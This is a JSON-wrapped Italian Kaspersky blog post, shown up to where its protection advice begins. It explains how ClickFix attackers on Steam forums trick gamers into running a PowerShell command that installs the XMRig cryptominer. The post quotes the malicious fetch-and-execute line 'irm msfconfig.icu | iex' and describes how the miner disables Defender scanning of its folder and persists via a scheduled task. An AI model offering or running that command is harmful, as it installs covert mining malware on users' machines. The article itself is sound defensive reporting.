{"id":30941,"date":"2026-08-24T16:49:23","date_gmt":"2026-08-24T14:49:23","guid":{"rendered":"https:\/\/www.kaspersky.it\/blog\/?p=30941"},"modified":"2026-08-24T16:49:23","modified_gmt":"2026-08-24T14:49:23","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.it\/blog\/steam-forum-clickfix-attack-irm-iex\/30941\/","title":{"rendered":"Cattivi consigli per i giocatori: ClickFix colpisce i forum di Steam"},"content":{"rendered":"

Quest\u2019anno si \u00e8 assistito a un vero boom di attacchi ClickFix<\/a>. Ha cos\u00ec tanto successo tra i criminali che non facciamo nemmeno in tempo a finire di scrivere di una variazione che \u00e8 gi\u00e0 ora di passare alla successiva.<\/p>\n

Questa volta gli aggressori prendono di mira i giocatori: alcuni giornalisti specializzati in tecnologia hanno individuato dei post che diffondevano suggerimenti dannosi<\/a> nei forum di Steam. Ecco come si presentano questi post, quali malware vengono utilizzati per diffonderli e come proteggere il dispositivo.<\/p>\n

ClickFix si fa strada nei forum di Steam<\/h2>\n

Molti giocatori si rivolgono agli altri giocatori sui forum di Steam per chiedere aiuto e consigli su come superare una missione difficile, salire di livello, ottenere il bottino migliore o aggirare un bug. Ed \u00e8 proprio questa fiducia nei consigli della community che gli aggressori hanno deciso di sfruttare.<\/p>\n

L\u2019attacco inizia quando i criminali rispondono alla domanda di un utente in merito ad arresti anomali del gioco, articoli di inventario mancanti o altri problemi tecnici. Fingendosi utili per commentare, essi suggeriscono di aprire PowerShell come amministratore ed eseguire un comando che presumibilmente risolve il problema riscontrato dall\u2019utente.<\/p>\n

\"Post<\/a>

Spacciando il proprio post per un consiglio sulla risoluzione dei problemi, l\u2019autore dell\u2019attacco suggerisce di avviare PowerShell come amministratore ed eseguire un comando che, all\u2019apparenza, risolve il problema dell\u2019utente. Fonte <\/a><\/p><\/div>\n

Come potete immaginare, eseguire il comando non risolve nulla, ma non fa altro che aprire un nuovo vaso di Pandora. \u00c8 proprio questa l\u2019idea alla base di ClickFix: utilizzare l\u2019ingegneria sociale per indurre le vittime a compiere autonomamente azioni pericolose, fornendo al contempo ai truffatori ci\u00f2 di cui hanno bisogno per compromettere il dispositivo. In precedenza abbiamo trattato altri trucchi di ClickFix \u2014 CAPTCHA falsi, errori del browser fasulli e altro ancora \u2014 che si basano tutti sul fatto di indurre la vittima a eseguire autonomamente il comando dannoso. Potete leggere ulteriori informazioni sulle diverse varianti degli attacchi ClickFix<\/a> nel nostro post precedente.<\/p>\n

L\u2019astuzia nell\u2019utilizzare ClickFix sui forum di Steam sta nel fatto che l\u2019attacco potrebbe colpire non solo il giocatore che ha chiesto aiuto; anche molti altri giocatori che si imbattono nello stesso problema e trovano la risposta tramite una ricerca su Google potrebbero cadere nella trappola.<\/p>\n

Una breve introduzione: cosa si nasconde davvero dietro il comando irm <\/em>| iex<\/em><\/h2>\n

Prima di approfondire in che modo gli hacker riescano effettivamente a indurre i giocatori a effettuare l\u2019installazione in questo modo, \u00e8 necessario fornire alcune nozioni tecniche di base. Allora, per cominciare, i post sui forum di Steam consigliano alle ignare potenziali vittime di eseguire il seguente comando in PowerShell:<\/p>\n

irm msfconfig.icu | iex <\/code><\/p>\n

A qualcuno che non ha familiarit\u00e0 con PowerShell, questa riga potrebbe sembrare piuttosto innocua: sembra che serva ad avviare MSConfig, l\u2019utilit\u00e0 di configurazione del sistema integrata di Windows, con alcuni parametri aggiuntivi.<\/p>\n

In realt\u00e0, per\u00f2, \u00e8 tutt\u2019altro che innocua. Analizziamo le operazioni effettivamente eseguite da ciascuna parte di questo comando:<\/p>\n

    \n
  1. irm<\/em><\/strong> \u00e8 l\u2019abbreviazione del comando di PowerShell integrato Invoke-RestMethod<\/em>. Raggiunge l\u2019indirizzo Web specificato pi\u00f9 avanti nella riga e recupera i dati nella risposta.<\/li>\n
  2. icu<\/em><\/strong> \u00e8 quell\u2019indirizzo Web, non il nome di un file locale, come potrebbe sembrare a prima vista. Questo \u00e8 il server degli aggressori e risponde alla richiesta irm<\/em><\/strong> con uno script di PowerShell dannoso.<\/li>\n
  3. iex<\/em><\/strong> \u00e8 un altro comando di PowerShell integrato, Invoke-Expression<\/em>. Prende tutto ci\u00f2 che irm<\/em><\/strong> riceve da tale indirizzo Web e lo esegue come codice di PowerShell.<\/li>\n<\/ol>\n

    Una volta eseguita, questa riga di codice di PowerShell scarica uno script dal sito specificato e lo esegue immediatamente. Come ha giustamente sottolineato<\/a> un utente di Reddit, \u00e8 possibile scoprire in tutta sicurezza quale codice verrebbe effettivamente scaricato sul proprio dispositivo \u2014 senza il rischio che venga eseguito \u2014 semplicemente eliminando la seconda parte, ovvero iex<\/em><\/strong>. Senza di essa, il comando scaricher\u00e0 semplicemente il contenuto dello script e lo stamper\u00e0 nella finestra di PowerShell, senza eseguirlo. Questo fornisce il codice completo e non oscurato che viene richiesto di eseguire nel dispositivo. Vediamo ora cosa questi gentili utenti del forum di Steam stanno effettivamente cercando di convincere i giocatori a installare sui propri computer.<\/p>\n

    Un crypto miner, non uno strumento di ottimizzazione<\/h2>\n

    Gli aggressori hanno fatto il loro dovere: lo script di PowerShell scaricato dai relativi server imita in modo convincente un\u2019utilit\u00e0 di ottimizzazione di Windows. Una volta avviato, mostra all\u2019utente una serie di notifiche che promettono di eliminare i file temporanei, svuotare la cache DNS, aggiornare i driver, verificare la presenza di errori sul disco, disattivare le app di avvio non necessarie, eseguire una scansione del sistema alla ricerca di malware, riparare l\u2019immagine di Windows e verificare l\u2019integrit\u00e0 dei file di sistema.<\/p>\n

    \"Falsa<\/a>

    Lo script visualizza una serie di messaggi relativi a varie operazioni di ottimizzazione fittizie per dare l\u2019impressione che stia eseguendo operazioni di manutenzione utili. Fonte <\/a><\/p><\/div>\n

    La vera attivit\u00e0, nel frattempo, avviene dietro le quinte. Lo script inizia controllando se \u00e8 in esecuzione con i privilegi di amministratore. In tal caso, crea una cartella di lavoro nascosta in C:\\Windows\\Background<\/em> e la aggiunge all\u2019elenco di esclusioni di Microsoft Defender. Da quel momento in poi, tutti i file inseriti nella cartella cesseranno di essere scansionati dall\u2019antivirus integrato di Windows.<\/p>\n

    Successivamente, lo script prepara il sistema per la fase successiva dell\u2019attacco e scarica un eseguibile dal server degli aggressori, salvandolo nella stessa cartella C:\\Windows\\Background<\/em> con il nome legittimo system.exe<\/em> .<\/p>\n

    Il file scaricato \u00e8 XMRig<\/em>, uno degli strumenti pi\u00f9 popolari per il mining della criptovaluta Monero. XMRig<\/em> in s\u00e9 non \u00e8 un malware; \u00e8 uno strumento di mining open source legittimo. Il problema \u00e8 che gli aggressori lo installano nei computer delle vittime a loro insaputa. Una volta avviato, la potenza di calcolo del dispositivo viene dirottata per il mining di Monero, e la criptovaluta ottenuta finisce direttamente nelle mani dei criminali.<\/p>\n

    Questo rende i computer dei giocatori dei bersagli particolarmente allettanti: i moderni PC da gaming sono dotati di CPU e GPU potenti, proprio il tipo di hardware ideale per il mining di criptovalute.<\/p>\n

    Per assicurarsi che il malware sopravviva al riavvio, lo script crea anche una nuova attivit\u00e0 in Utilit\u00e0 di pianificazione di Windows: XMRig-{nome computer}<\/em>. Da quel momento in poi, avvia automaticamente il crypto miner ogni volta che il sistema viene avviato.<\/p>\n

    Come proteggere il dispositivo da crypto miner e altri tipi di malware<\/h2>\n

    Purtroppo, molti giocatori sono riluttanti a installare software di sicurezza \u2014 o a mantenerlo attivo \u2014 sui propri dispositivi. Il principale responsabile \u00e8 il mito persistente secondo cui \u201cun antivirus rallenta il gioco\u201d. Ne abbiamo gi\u00e0 parlato nel nostro blog, e i risultati hanno dimostrato che l\u2019esecuzione di un antivirus durante il gioco non comporta alcun calo significativo delle prestazioni<\/a>.<\/p>\n

    Lo stesso non si pu\u00f2 dire per i crypto miner, tuttavia: compromettono decisamente le prestazioni e consumano l\u2019hardware pi\u00f9 velocemente all\u2019avvio. Quindi cosa \u00e8 possibile fare per tenere il PC da gioco e gli account fuori pericolo?<\/p>\n